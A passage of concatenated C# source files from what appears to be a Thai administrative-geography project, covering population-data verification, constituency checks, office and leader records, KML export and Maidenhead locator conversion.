RetVal.Address = ThaiAddress.Load(lChildNode);
}
if (lChildNode.Name == "geo:Point")
{
RetVal.Location = GeoPoint.Load(lChildNode);
}
}
}
}
return RetVal;
}
internal static void AddKmlStyles(KmlHelper iKml)
{
foreach (KeyValuePair<OfficeType, String> lKeyValuePair in OfficeKmlStyles)
{
iKml.AddIconStyle(lKeyValuePair.Key.ToString(), new Uri(lKeyValuePair.Value));
}
}
internal void AddToKml(KmlHelper iKml, XmlNode iNode, String lEntityName, String iDescription)
{
if (Location != null)
{
String lName = OfficeNameEnglish[Type] + ' ' + lEntityName;
String lAddress = String.Empty;
if (Address != null)
{
lAddress = Address.ToString();
}
// ToDo: for Amphoe also amphoe.com URL to description
String lDescription = iDescription;
foreach (Uri lUri in this.Websites)
{
lDescription = lDescription + Environment.NewLine + lUri.ToString();
}
iKml.AddPoint(iNode, Location.Latitude, Location.Longitude, lName, Type.ToString(),lAddress,lDescription);
}
}
#endregion
#region ICloneable Members
public object Clone()
{
return new EntityOffice(this);
}
#endregion
}
}
<file_sep>/TambonMain/EntityTermEnd.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Class to encapsulate an entity and highlighting the term ends.
/// </summary>
public class EntityTermEnd
{
/// <summary>
/// Gets the entity which has a term end.
/// </summary>
/// <value>The entity</value>
public Entity Entity
{
get;
private set;
}
/// <summary>
/// Gets the council term in question.
/// </summary>
/// <value>The council term.</value>
/// <remarks>Can be <c>null</c> if no council term ends.</remarks>
public CouncilTerm CouncilTerm
{
get;
private set;
}
/// <summary>
/// Gets the official term in question.
/// </summary>
/// <value>The official term.</value>
/// <remarks>Can be <c>null</c> if no official term ends.</remarks>
public OfficialEntryBase OfficialTerm
{
get;
private set;
}
/// <summary>
/// Creates a new instance of <see cref="EntityTermEnd"/>.
/// </summary>
/// <param name="entity">Entity.</param>
/// <param name="councilTerm">Council term.</param>
/// <param name="officialTerm">Official term.</param>
/// <exception cref="ArgumentNullException"><paramref name="entity"/> is <c>null</c>.</exception>
/// <exception cref="ArgumentNullException"><paramref name="councilerm"/> and <paramref name="officialTerm"/> are <c>null</c> at same time.</exception>
/// <remarks><paramref name="councilerm"/> and <paramref name="officialTerm"/> can be <c>null</c>, but not both.</remarks>
public EntityTermEnd(Entity entity, CouncilTerm councilTerm, OfficialEntryBase officialTerm)
{
if ( entity == null )
{
throw new ArgumentNullException("entity");
}
if ( (councilTerm == null) & (officialTerm == null) )
{
throw new ArgumentException();
}
Entity = entity;
CouncilTerm = councilTerm;
OfficialTerm = officialTerm;
}
}
}<file_sep>/TambonMain/ConstituencyChecker.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public static class ConstituencyChecker
{
private static Boolean HasConstituencyAnnouncement(UInt32 geocode, EntityType requestType)
{
Boolean success = false;
foreach ( var gazetteEntry in GlobalData.AllGazetteAnnouncements.AllAboutGeocode(geocode, false) )
{
foreach ( var content in gazetteEntry.Items )
{
var constituencyAnnounce = content as GazetteConstituency;
if ( constituencyAnnounce != null )
{
if ( constituencyAnnounce.IsAboutGeocode(geocode, false) )
{
success = success || (constituencyAnnounce.type == requestType);
}
}
}
}
return success;
}
public static IEnumerable<Entity> ThesabanWithoutConstituencies(UInt32 geocode)
{
var result = new List<Entity>();
var geocodes = GlobalData.GetGeocodeList(geocode);
geocodes.ReorderThesaban();
foreach ( var entry in geocodes.Thesaban )
{
if ( entry.type.IsLocalGovernment() & (!entry.obsolete) )
{
Boolean success = HasConstituencyAnnouncement(entry.geocode, entry.type);
if ( (!success) & (entry.tambon != 0) )
{
success = HasConstituencyAnnouncement(entry.tambon, entry.type);
}
if ( !success )
{
result.Add(entry);
}
}
}
return result;
}
}
}<file_sep>/GeoTool/Views/GeoDataView.xaml.cs
using System.Windows;
using System.Windows.Controls;
namespace De.AHoerstemeier.GeoTool.Views
{
/// <summary>
/// Description for GeoDataView.
/// </summary>
public partial class GeoDataView : UserControl
{
/// <summary>
/// Initializes a new instance of the GeoDataView class.
/// </summary>
public GeoDataView()
{
InitializeComponent();
}
private void EventTrigger_Changed(object sender, System.EventArgs e)
{
}
}
}<file_sep>/StringDisplayForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class StringDisplayForm : Form
{
public StringDisplayForm(String iCaption, String iContents)
{
InitializeComponent();
this.Text = iCaption;
txtBox.Text = iContents;
}
private void btnOk_Click(object sender, EventArgs e)
{
this.Close();
}
}
}
<file_sep>/TambonUI/ConstituencyForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public partial class ConstituencyForm : Form
{
private Dictionary<Entity, Int32> _lastCalculation = null;
public ConstituencyForm()
{
InitializeComponent();
}
private void ConstituencyForm_Load(Object sender, EventArgs e)
{
edtYear.Maximum = GlobalData.PopulationStatisticMaxYear;
edtYear.Minimum = GlobalData.PopulationStatisticMinYear;
edtYear.Value = edtYear.Maximum;
var provinces = GlobalData.Provinces;
cbxProvince.Items.Clear();
foreach ( var entry in provinces )
{
cbxProvince.Items.Add(entry);
if ( entry.geocode == GlobalData.PreferredProvinceGeocode )
{
cbxProvince.SelectedItem = entry;
}
}
}
private void btnCalc_Click(Object sender, EventArgs e)
{
Int16 year = Convert.ToInt16(edtYear.Value);
Int16 numberOfConstituencies = Convert.ToInt16(edtNumberOfConstituencies.Value);
UInt32 geocode = 0;
var result = ConstituencyCalculator.Calculate(geocode, year, numberOfConstituencies);
String displayResult = String.Empty;
foreach ( KeyValuePair<Entity, Int32> entry in result )
{
Int32 votersPerSeat = 0;
if ( entry.Value != 0 )
{
votersPerSeat = entry.Key.GetPopulationDataPoint(PopulationDataSourceType.DOPA, year).total / entry.Value;
}
displayResult = displayResult +
String.Format("{0} {1} ({2} per seat)", entry.Key.english, entry.Value, votersPerSeat) + Environment.NewLine;
}
txtData.Text = displayResult;
_lastCalculation = result;
btnSaveCsv.Enabled = true;
}
private void btnSaveCsv_Click(Object sender, EventArgs e)
{
Debug.Assert(_lastCalculation != null);
StringBuilder builder = new StringBuilder();
Int16 year = Convert.ToInt16(edtYear.Value);
foreach ( KeyValuePair<Entity, Int32> entry in _lastCalculation )
{
Int32 votersPerSeat = 0;
if ( entry.Value != 0 )
{
votersPerSeat = entry.Key.GetPopulationDataPoint(PopulationDataSourceType.DOPA, year).total / entry.Value;
}
builder.AppendLine(String.Format("{0},{1},{2}", entry.Key.english, entry.Value, votersPerSeat));
}
SaveFileDialog dlg = new SaveFileDialog();
dlg.Filter = "CSV Files|*.csv|All files|*.*";
if ( dlg.ShowDialog() == DialogResult.OK )
{
using ( Stream fileStream = new FileStream(dlg.FileName, FileMode.CreateNew) )
{
StreamWriter writer = new StreamWriter(fileStream);
writer.Write(builder.ToString());
writer.Close();
};
}
}
}
}<file_sep>/TambonMain/PopulationData.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public partial class PopulationData
{
#region fixup serialization
public bool ShouldSerializeregister()
{
return register.change.Any() || !register.register.IsEmpty();
}
public Boolean ShouldSerializereference()
{
return reference.Any();
}
#endregion fixup serialization
public PopulationData Clone()
{
return (PopulationData)(this.MemberwiseClone());
}
public void CalculateTotal()
{
if ( !data.Any(x => x.type == PopulationDataType.total) )
{
var result = new HouseholdDataPoint();
result.type = PopulationDataType.total;
foreach ( var element in this.data.Where(x => x.type == PopulationDataType.municipal || x.type == PopulationDataType.nonmunicipal) )
{
result.female += element.female;
result.male += element.male;
result.total += element.total;
result.households += element.households;
}
if ( result.total > 0 )
{
data.Add(result);
}
}
}
public PopulationDataPoint TotalPopulation
{
get
{
var result = data.FirstOrDefault(x => x.type == PopulationDataType.total);
return result;
}
}
public void MergeIdenticalEntries()
{
// ToDo: Find duplicate entries with same data.type and merge content
}
/// <summary>
/// Gets the year.
/// </summary>
/// <value>The year.</value>
/// <remarks>Same as <see cref="year"/>, which has wrong data type as XSD2Code cannot translate the XSD type year better.</remarks>
public Int16 Year
{
get
{
return Convert.ToInt16(year, CultureInfo.InvariantCulture);
}
}
/// <summary>
/// Checks whether the parts sum up correctly.
/// </summary>
/// <returns><c>true</c> if all parts sum up correctly, <c>false</c> otherwise.</returns>
public Boolean Verify()
{
Boolean result = true;
var validData = data.Where(x => x.valid);
foreach ( var entry in validData )
{
result &= entry.Verify();
}
var municipal = validData.FirstOrDefault(x => x.type == PopulationDataType.municipal);
var rural = validData.FirstOrDefault(x => x.type == PopulationDataType.nonmunicipal);
if ( (municipal != null) && (rural != null) )
{
result &= TotalPopulation.VerifySum(municipal, rural);
}
var collectivehouseholds = validData.FirstOrDefault(x => x.type == PopulationDataType.collectivehouseholds);
var privatehouseholds = validData.FirstOrDefault(x => x.type == PopulationDataType.privatehouseholds);
if ( (collectivehouseholds != null) && (privatehouseholds != null) )
{
result &= TotalPopulation.VerifySum(collectivehouseholds, privatehouseholds);
}
var sanitary = validData.FirstOrDefault(x => x.type == PopulationDataType.sanitary);
var urbanSanitary = validData.FirstOrDefault(x => x.type == PopulationDataType.urbansanitary);
var ruralSanitary = validData.FirstOrDefault(x => x.type == PopulationDataType.ruralsanitary);
if ( (urbanSanitary != null) && (ruralSanitary != null) && (sanitary != null) )
{
result &= sanitary.VerifySum(collectivehouseholds, privatehouseholds);
}
var agricultural = validData.FirstOrDefault(x => x.type == PopulationDataType.agricultural);
var nonagricultural = validData.FirstOrDefault(x => x.type == PopulationDataType.nonagricultural);
if ( (agricultural != null) && (nonagricultural != null) )
{
result &= TotalPopulation.VerifySum(agricultural, nonagricultural);
}
var thai = validData.FirstOrDefault(x => x.type == PopulationDataType.thai);
var foreigner = validData.FirstOrDefault(x => x.type == PopulationDataType.foreigner);
if ( (thai != null) && (foreigner != null) )
{
result &= TotalPopulation.VerifySum(thai, foreigner);
}
else if ( thai != null )
{
result &= TotalPopulation.VerifyLessOrEqual(thai);
}
return result;
}
/// <summary>
/// Calculates the maximum deviation of the sum of the partial data point.
/// </summary>
/// <returns>Maximum deviation, <c>0</c> if all parts sum up correctly.</returns>
public Int32 SumError()
{
Int32 maxError = 0;
var validData = data.Where(x => x.valid);
// DOPA data can contain more than one municipal entry with different geocodes
PopulationDataPoint municipal = null;
var municipalData = validData.Where(x => x.type == PopulationDataType.municipal);
if ( municipalData.Any() )
{
municipal = new PopulationDataPoint();
foreach ( var dataPoint in municipalData )
{
municipal.Add(dataPoint);
}
}
var rural = validData.FirstOrDefault(x => x.type == PopulationDataType.nonmunicipal);
if ( (municipal != null) && (rural != null) )
{
maxError = Math.Max(maxError, TotalPopulation.SumError(municipal, rural));
}
var collectivehouseholds = validData.FirstOrDefault(x => x.type == PopulationDataType.collectivehouseholds);
var privatehouseholds = validData.FirstOrDefault(x => x.type == PopulationDataType.privatehouseholds);
if ( (collectivehouseholds != null) && (privatehouseholds != null) )
{
maxError = Math.Max(maxError, TotalPopulation.SumError(collectivehouseholds, privatehouseholds));
}
var agricultural = validData.FirstOrDefault(x => x.type == PopulationDataType.agricultural);
var nonagricultural = validData.FirstOrDefault(x => x.type == PopulationDataType.nonagricultural);
if ( (agricultural != null) && (nonagricultural != null) )
{
maxError = Math.Max(maxError, TotalPopulation.SumError(agricultural, nonagricultural));
}
var sanitary = validData.FirstOrDefault(x => x.type == PopulationDataType.sanitary);
var urbanSanitary = validData.FirstOrDefault(x => x.type == PopulationDataType.urbansanitary);
var ruralSanitary = validData.FirstOrDefault(x => x.type == PopulationDataType.ruralsanitary);
if ( (urbanSanitary != null) && (ruralSanitary != null) && (sanitary != null) )
{
maxError = Math.Max(maxError, sanitary.SumError(urbanSanitary, ruralSanitary));
}
var thai = validData.FirstOrDefault(x => x.type == PopulationDataType.thai);
var foreigner = validData.FirstOrDefault(x => x.type == PopulationDataType.foreigner);
if ( (thai != null) && (foreigner != null) )
{
maxError = Math.Max(maxError, TotalPopulation.SumError(thai, foreigner));
}
return maxError;
}
/// <summary>
/// Adds the numbers of the data point to this.
/// </summary>
/// <param name="dataPoint">Data point to add.</param>
/// <exception cref="ArgumentNullException"><paramref name="dataPoint"/> is <c>null</c>.</exception>
public void AddDataPoint(HouseholdDataPoint dataPoint)
{
if ( dataPoint == null )
{
throw new ArgumentNullException("dataPoint");
}
var target = data.FirstOrDefault(x => x.type == dataPoint.type);
if ( target == null )
{
target = new HouseholdDataPoint();
target.type = dataPoint.type;
data.Add(target);
}
target.total += dataPoint.total;
target.male += dataPoint.male;
target.female += dataPoint.female;
target.households += dataPoint.households;
}
}
public partial class PopulationDataPoint
{
/// <summary>
/// Adds the values from <paramref name="data"/> to self.
/// </summary>
/// <param name="data">Data to add.</param>
public void Add(PopulationDataPoint data)
{
if ( data == null )
{
throw new ArgumentNullException("data");
}
this.female += data.female;
this.male += data.male;
this.total += data.total;
}
public Boolean IsEqual(PopulationDataPoint data)
{
if ( data == null )
{
throw new ArgumentNullException("data");
}
var diffFemale = this.female - data.female;
var diffMale = this.male - data.male;
var diffTotal = this.total - data.total;
return
(this.female == data.female) &&
(this.male == data.male) &&
(this.total == data.total);
}
/// <summary>
/// Verifies if <see cref="male"/> and <see cref="female"/> sum up to <see cref="total"/>.
/// </summary>
/// <returns><c>true</c> if valid, <c>false</c> otherwise.</returns>
public virtual Boolean Verify()
{
var sum = male + female;
return (sum == total);
}
/// <summary>
/// Deviation of sum <see cref="male"/> and <see cref="female"/> with <see cref="total"/>.
/// </summary>
/// <returns>Deviation of sum, <c>0</c> is sum is valid.</returns>
public Int32 SumError()
{
var sum = male + female;
return Math.Abs(sum - total);
}
/// <summary>
/// Checks whether the two population data added together are equal with this.
/// </summary>
/// <param name="data1">First data point.</param>
/// <param name="data2">Second data point.</param>
/// <returns>Maximum deviation in one of the sum, <c>0</c> if equal.</returns>
public Int32 SumError(PopulationDataPoint data1, PopulationDataPoint data2)
{
var sum = new PopulationDataPoint();
if ( data1 != null )
{
sum.Add(data1);
}
if ( data2 != null )
{
sum.Add(data2);
}
return this.MaxDeviation(sum);
}
/// <summary>
/// Checks the difference between this and <paramref name="compare"/>.
/// </summary>
/// <param name="compare">Data to compare with.</param>
/// <returns>Maximum deviation between the two data points.</returns>
/// <exception cref="ArgumentNullException"><paramref name="compare"/> is <c>null</c>.</exception>
public Int32 MaxDeviation(PopulationDataPoint compare)
{
if ( compare == null )
{
throw new ArgumentNullException("compare");
}
Int32 maleError = Math.Abs(this.male - compare.male);
if ( (this.male == 0) || (compare.male == 0) )
{
maleError = 0;
}
Int32 femaleError = Math.Abs(this.female - compare.female);
if ( (this.female == 0) || (compare.female == 0) )
{
femaleError = 0;
}
Int32 totalError = Math.Abs(this.total - compare.total);
if ( (this.total == 0) || (compare.total == 0) )
{
totalError = 0;
}
return Math.Max(Math.Max(maleError, femaleError), totalError);
}
/// <summary>
/// Checks whether the two population data added together are equal with this.
/// </summary>
/// <param name="data1">First data point.</param>
/// <param name="data2">Second data point.</param>
/// <returns><c>true</c> if equal, <c>false</c> otherwise.</returns>
public Boolean VerifySum(PopulationDataPoint data1, PopulationDataPoint data2)
{
return this.SumError(data1, data2) == 0;
}
/// <summary>
/// Checks whether data has less or equal data.
/// </summary>
/// <param name="data">Data point.</param>
/// <returns><c>true</c> if less or equal, <c>false</c> otherwise.</returns>
public Boolean VerifyLessOrEqual(PopulationDataPoint data)
{
return this.total <= data.total && this.male <= data.male && this.female <= data.female;
}
}
public partial class HouseholdDataPoint
{
/// <summary>
/// Verifies if <see cref="male"/> and <see cref="female"/> sum up to <see cref="total"/>,
/// and <see cref="agetable"/> is valid if present.
/// </summary>
/// <returns><c>true</c> if valid, <c>false</c> otherwise.</returns>
public override Boolean Verify()
{
var result = base.Verify();
result &= AgeTableValid();
return result;
}
/// <summary>
/// Checks whether the <see cref="agetable"/> fits to self.
/// </summary>
/// <returns><c>true</c> if age table if valid, <c>false</c> otherwise.</returns>
/// <remarks>Also returns <c>true</c> if there is no age table.</remarks>
public Boolean AgeTableValid()
{
var result = true;
if ( agetable != null && agetable.age.Any() )
{
var ageSum = new PopulationDataPoint();
foreach ( var ageEntry in agetable.age )
{
ageSum.Add(ageEntry);
}
ageSum.Add(agetable.unknown);
result &= ageSum.IsEqual(this);
}
return result;
}
}
}<file_sep>/AHTambon/EntityLeader.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class EntityLeader : ICloneable
{
#region properties
private String _name = String.Empty;
public String Name { get { return _name; } set { SetName(value); } }
public String English { get; set; }
private PersonTitle _title = PersonTitle.Unknown;
public PersonTitle Title
{
get { return _title; }
set { _title = value; }
}
public String Telephone { get; set; }
public String CellPhone { get; set; }
public String Comment { get; set; }
private EntityLeaderType _position = EntityLeaderType.Unknown;
public EntityLeaderType Position
{
get { return _position; }
set { _position = value; }
}
public Int32 Index { get; set; }
public DateTime BeginOfTerm { get; set; }
public Int32 BeginOfTermYear { get; set; }
public DateTime EndOfTerm { get; set; }
public Int32 EndOfTermYear { get; set; }
#endregion
#region constructor
public EntityLeader()
{
}
public EntityLeader(EntityLeader value)
{
Name = value.Name;
English = value.English;
Title = value.Title;
Telephone = value.Telephone;
CellPhone = value.CellPhone;
Position = value.Position;
Index = value.Index;
BeginOfTerm = value.BeginOfTerm;
BeginOfTermYear = value.BeginOfTermYear;
EndOfTerm = value.EndOfTerm;
EndOfTermYear = value.EndOfTermYear;
}
#endregion
#region methods
private void SetName(String name)
{
_name = name;
foreach ( KeyValuePair<String, PersonTitle> entry in TambonHelper.PersonTitleStrings )
{
String search = entry.Key;
if ( name.StartsWith(search) )
{
Title = entry.Value;
_name = name.Remove(0, search.Length).Trim();
}
}
// TODO Strip persontitle and store it separately in Title property
}
public void ExportToXML(XmlElement node)
{
XmlDocument xmlDocument = TambonHelper.XmlDocumentFromNode(node);
var newElement = (XmlElement)xmlDocument.CreateNode("element", "official", "");
newElement.SetAttribute("title", Position.ToString());
if ( Index > 0 )
{
newElement.SetAttribute("index", Index.ToString());
}
newElement.SetAttribute("name", Name);
if ( Title != PersonTitle.Unknown )
{
newElement.SetAttribute("nametitle", Title.ToString());
}
if ( !String.IsNullOrEmpty(English) )
{
newElement.SetAttribute("english", English);
}
if ( !String.IsNullOrEmpty(Telephone) )
{
newElement.SetAttribute("telephone", Telephone);
}
if ( !String.IsNullOrEmpty(CellPhone) )
{
newElement.SetAttribute("cellphone", CellPhone);
}
if ( (BeginOfTerm != null) && (BeginOfTerm.Year > 1) )
{
newElement.SetAttribute("begin", BeginOfTerm.ToString("yyyy-MM-dd", TambonHelper.CultureInfoUS));
}
if ( BeginOfTermYear > 0 )
{
newElement.SetAttribute("beginyear", BeginOfTermYear.ToString());
}
if ( (EndOfTerm != null) && (EndOfTerm.Year > 1) )
{
newElement.SetAttribute("begin", EndOfTerm.ToString("yyyy-MM-dd", TambonHelper.CultureInfoUS));
}
if ( EndOfTermYear > 0 )
{
newElement.SetAttribute("endyear", EndOfTermYear.ToString());
}
if ( !String.IsNullOrEmpty(Comment) )
{
newElement.SetAttribute("comment", Comment);
}
node.AppendChild(newElement);
}
internal static EntityLeader Load(XmlNode node)
{
EntityLeader result = null;
if ( node != null && node.Name.Equals("official") )
{
result = new EntityLeader();
result.Name = TambonHelper.GetAttribute(node, "name");
result.English = TambonHelper.GetAttributeOptionalString(node, "english");
result.Telephone = TambonHelper.GetAttributeOptionalString(node, "telephone");
result.CellPhone = TambonHelper.GetAttributeOptionalString(node, "cellphone");
result.Comment = TambonHelper.GetAttributeOptionalString(node, "comment");
result.BeginOfTermYear = TambonHelper.GetAttributeOptionalInt(node, "beginyear", 0);
result.EndOfTermYear = TambonHelper.GetAttributeOptionalInt(node, "endyear", 0);
result.Index = TambonHelper.GetAttributeOptionalInt(node, "index", 0);
result.BeginOfTerm = TambonHelper.GetAttributeOptionalDateTime(node, "begin");
result.EndOfTerm = TambonHelper.GetAttributeOptionalDateTime(node, "end");
String position = TambonHelper.GetAttribute(node, "title");
result.Position = (EntityLeaderType)Enum.Parse(typeof(EntityLeaderType), position);
String personTitle = TambonHelper.GetAttributeOptionalString(node, "nametitle");
if ( !String.IsNullOrEmpty(personTitle) )
{
result.Title = (PersonTitle)Enum.Parse(typeof(PersonTitle), position);
}
}
return result;
}
#endregion
#region ICloneable Members
public object Clone()
{
return new EntityLeader(this);
}
#endregion
}
}
<file_sep>/AHGeo/GeoFrameBase.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Geo
{
public abstract class GeoFrameBase
{
#region properties
public GeoPoint NorthWestCorner
{
get { return GetNorthWestCorner(); }
}
public GeoPoint SouthWestCorner
{
get { return GetSouthWestCorner(); }
}
public GeoPoint NorthEastCorner
{
get { return GetNorthEastCorner(); }
}
public GeoPoint SouthEastCorner
{
get { return GetSouthEastCorner(); }
}
public GeoPoint MiddlePoint
{
get { return GetMiddlePoint(); }
}
public String Name { get; set; }
#endregion
#region private methods
protected abstract GeoPoint GetNorthWestCorner();
protected abstract GeoPoint GetNorthEastCorner();
protected abstract GeoPoint GetSouthWestCorner();
protected abstract GeoPoint GetSouthEastCorner();
protected GeoPoint GetMiddlePoint()
{
var northWest = NorthWestCorner;
var southEast = SouthEastCorner;
Double latitude = northWest.Latitude + (southEast.Latitude - northWest.Latitude) / 2.0;
Double longitude = northWest.Longitude + (southEast.Longitude - northWest.Longitude) / 2.0;
GeoPoint result = new GeoPoint(latitude,longitude);
return result;
}
#endregion
#region KML export
private const string _DefStyle = "Blue";
private const UInt32 _DefColor = 0xffff0000;
private static void AddKmlStyle(KmlHelper kmlWriter)
{
XmlNode node = kmlWriter.AddStyle(_DefStyle);
kmlWriter.AddStylePoly(node, 2, _DefColor, false);
kmlWriter.AddIconStyle(node, new Uri("http://maps.google.com/mapfiles/kml/paddle/wht-blank.png"));
}
public void WriteToKml(KmlHelper kmlWriter, XmlNode node, String description)
{
List<GeoPoint> border = new List<GeoPoint>();
border.Add(NorthWestCorner);
border.Add(NorthEastCorner);
border.Add(SouthEastCorner);
border.Add(SouthWestCorner);
border.Add(NorthWestCorner);
kmlWriter.AddPolygon(node, border, Name, _DefStyle, description, true);
}
public void ExportToKml(String fileName)
{
KmlHelper kmlWriter = StartKmlWriting();
WriteToKml(kmlWriter, kmlWriter.DocumentNode, Name);
kmlWriter.SaveToFile(fileName);
}
public static KmlHelper StartKmlWriting()
{
KmlHelper kmlWriter = new KmlHelper();
AddKmlStyle(kmlWriter);
return kmlWriter;
}
#endregion
#region public methods
public Boolean IsInside(GeoPoint point)
{
if ( point == null )
{
throw new ArgumentNullException("point");
}
GeoPoint a = NorthWestCorner;
GeoPoint b = SouthWestCorner;
GeoPoint c = NorthEastCorner;
Double bax = b.Latitude - a.Latitude;
Double bay = b.Longitude - a.Longitude;
Double cax = c.Latitude - a.Latitude;
Double cay = c.Longitude - a.Longitude;
if ( (point.Latitude - a.Latitude) * bax + (point.Longitude - a.Longitude) * bay < 0.0 )
return false;
if ( (point.Latitude - b.Latitude) * bax + (point.Longitude - b.Longitude) * bay > 0.0 )
return false;
if ( (point.Latitude - a.Latitude) * cax + (point.Longitude - a.Longitude) * cay < 0.0 )
return false;
if ( (point.Latitude - c.Latitude) * cax + (point.Longitude - c.Longitude) * cay > 0.0 )
return false;
return true;
}
#endregion
public override string ToString()
{
return Name;
}
}
}
<file_sep>/AHGeo/MaidenheadLocator.cs
/*
* Original author: <NAME> (DK7IO), 2011-03-31
* This file is distributed without any warranty.
* http://www.mydarc.de/DK7IO/programmierung/GM.Geodesy/MaidenheadLocator.cs
* */
using System;
using System.Collections.Generic;
namespace De.AHoerstemeier.Geo
{
/// <summary>
/// Converts geographical coordinates to a 'Maidenhead Locator' and vice versa.
/// </summary>
internal static class MaidenheadLocator
{
#region Constants
#region Number of zones
/// <summary>
/// Number of zones for 'Field' (Precision step 1).
/// </summary>
private const int _ZonesOddStep1 = 18;
/// <summary>
/// Number of zones for 'Subsquare', 'Subsubsubsquare', etc. (Precision steps 3, 5, etc.).
/// </summary>
private const int _ZonesOddStepsExcept1 = 24;
/// <summary>
/// Number of zones for 'Square', 'Subsubsquare', etc. (Precision steps 2, 4, etc.).
/// </summary>
private const int _ZonesEvenSteps = 10;
#endregion
#region First characters for locator text
/// <summary>
/// The first character for 'Field' (Precision step 1).
/// </summary>
private const char _FirstOddStep1Character = 'A';
/// <summary>
/// The first character for 'Subsquare', 'Subsubsubsquare', etc. (Precision steps 3, 5, etc.).
/// </summary>
private const char _FirstOddStepsExcept1Character = 'a';
/// <summary>
/// The first character for 'Square', 'Subsubsquare', etc. (Precision steps 2, 4, etc.).
/// </summary>
private const char _FirstEvenStepsCharacter = '0';
#endregion
#region Implementation constraints
/// <summary>
/// The lowest allowed precision.
/// </summary>
public const int MinPrecision = 1;
/// <summary>
/// The highest allowed precision.
/// </summary>
public const int MaxPrecision = 12;
#endregion
private const int _LowerLatitudeLimit = -90;
private const int _UpperLatitudeLimit = +90;
private const int _LowerLongitudeLimit = -180;
private const int _UpperLongitudeLimit = +180;
#endregion
/// <summary>
/// Converts geographical coordinates (latitude and longitude, in degrees)
/// to a 'Maidenhead Locator' until a specific precision.
/// The maximum precision is 12 due to numerical limits of floating point operations.
/// </summary>
/// <param name="latitude">
/// The latitude to convert ([-90...+90]).
/// +90 is handled like +89.999...
/// </param>
/// <param name="longitude">
/// The longitude to convert ([-180...+180]).
/// +180 is handled like +179.999...
/// </param>
/// <param name="smallLettersForSubsquares">If true: generate small (if false: big) letters for 'Subsquares', 'Subsubsquare', etc.</param>
/// <param name="precision">
/// The precision for conversion, must be >=1 and <=12.
/// <para></para>
/// <list type="bullet">
/// <listheader>
/// <description>Examples for precision use:</description>
/// </listheader>
/// <item><term>precision1</term><description>HF: 'Field' only is needed -> precision=1 -> JN</description></item>
/// <item><term>precision2</term><description>6m: 'Field' and 'Square' is needed -> precision=2 -> JN39</description></item>
/// <item><term>precision3</term><description>VHF/UHF: 'Field' until 'Subsquare' is needed -> precision=3 -> JN39ml</description></item>
/// <item><term>precision4</term><description>SHF/EHF: 'Field' until 'Subsubsquare' is needed -> precision=4 -> JN39ml36</description></item>
/// </list>
/// </param>
/// <returns>The 'Maidenhead Locator'.</returns>
/// <exception cref="ArgumentException">If the latitude or longitude exceeds its allowed interval.</exception>
public static String GetMaidenheadLocator(Double latitude, Double longitude, Boolean smallLettersForSubsquares, Int32 precision)
{
Int32 precisionValue = Math.Min(MaxPrecision, Math.Max(MinPrecision, precision));
String result = String.Empty;
{
List<char> locatorCharacters = new List<char>();
Double latitudeWork = latitude + (-_LowerLatitudeLimit);
Double longitudeWork = longitude + (-_LowerLongitudeLimit);
//Zone size for step "0"
Double height;
Double width;
InitializeZoneSize(out height, out width);
for ( Int32 step = MinPrecision ; step <= precisionValue ; step++ )
{
Int32 zones;
char firstCharacter;
RetrieveStepValues(step, smallLettersForSubsquares, out zones, out firstCharacter);
//Zone size of current step
height /= zones;
width /= zones;
//Retrieve zones and locator characters
Int32 latitudeZone;
Int32 longitudeZone;
{
longitudeZone = Math.Min(zones - 1, (int)(longitudeWork / width));
{
char locatorCharacter = (char)(firstCharacter + longitudeZone);
locatorCharacters.Add(locatorCharacter);
}
latitudeZone = Math.Min(zones - 1, (int)(latitudeWork / height));
{
char locatorCharacter = (char)(firstCharacter + latitudeZone);
locatorCharacters.Add(locatorCharacter);
}
}
//Prepare the next step
{
latitudeWork -= latitudeZone * height;
longitudeWork -= longitudeZone * width;
}
}
//Build the result (Locator text)
result = new string(locatorCharacters.ToArray());
}
return result;
}
/// <summary>
/// Converts a 'Maidenhead Locator' to geographical coordinates (latitude and longitude, in degrees).
/// </summary>
/// <param name="maidenheadLocator">The 'Maidenhead Locator'.</param>
/// <param name="positionInRectangle">The position of the geographical coordinates in the locator.</param>
/// <param name="latitude">The geographical latitude.</param>
/// <param name="longitude">The geographical longitude.</param>
/// <exception cref="ArgumentException">
/// If the length of the locator text is null or not an even number.
/// If the locator text contains invalid characters.
/// </exception>
public static void GeographicalCoordinatesByMaidenheadLocator(String maidenheadLocator, PositionInRectangle positionInRectangle, out Double latitude, out Double longitude)
{
//Check arguments
if ( String.IsNullOrEmpty(maidenheadLocator) || maidenheadLocator.Length % 2 != 0 )
{
throw new ArgumentException("Length of locator text is null or not an even number.", "maidenheadLocator");
}
//Corrections
maidenheadLocator = maidenheadLocator.ToUpper();
//Work
{
Int32 precisionValue = maidenheadLocator.Length / 2;
latitude = _LowerLatitudeLimit;
longitude = _LowerLongitudeLimit;
//Zone size for step "0"
Double height;
Double width;
InitializeZoneSize(out height, out width);
for ( int step = 1 ; step <= precisionValue ; step++ )
{
Int32 zones;
char firstCharacter;
RetrieveStepValues(step, false, out zones, out firstCharacter);
//Zone size of current step
height /= zones;
width /= zones;
//Retrieve precision specific geographical coordinates
Double longitudeStep = 0;
Double latitudeStep = 0;
{
Boolean error = false;
Int32 position = -1;
if ( !error )
{
//Longitude
position = step * 2 - 2;
char locatorCharacter = maidenheadLocator[position];
Int32 zone = (Int32)(locatorCharacter - firstCharacter);
if ( zone >= 0 && zone < zones )
{
longitudeStep = zone * width;
}
else
{
error = true;
}
}
if ( !error )
{
//Latitude
position = step * 2 - 1;
char locatorCharacter = maidenheadLocator[position];
Int32 zone = (Int32)(locatorCharacter - firstCharacter);
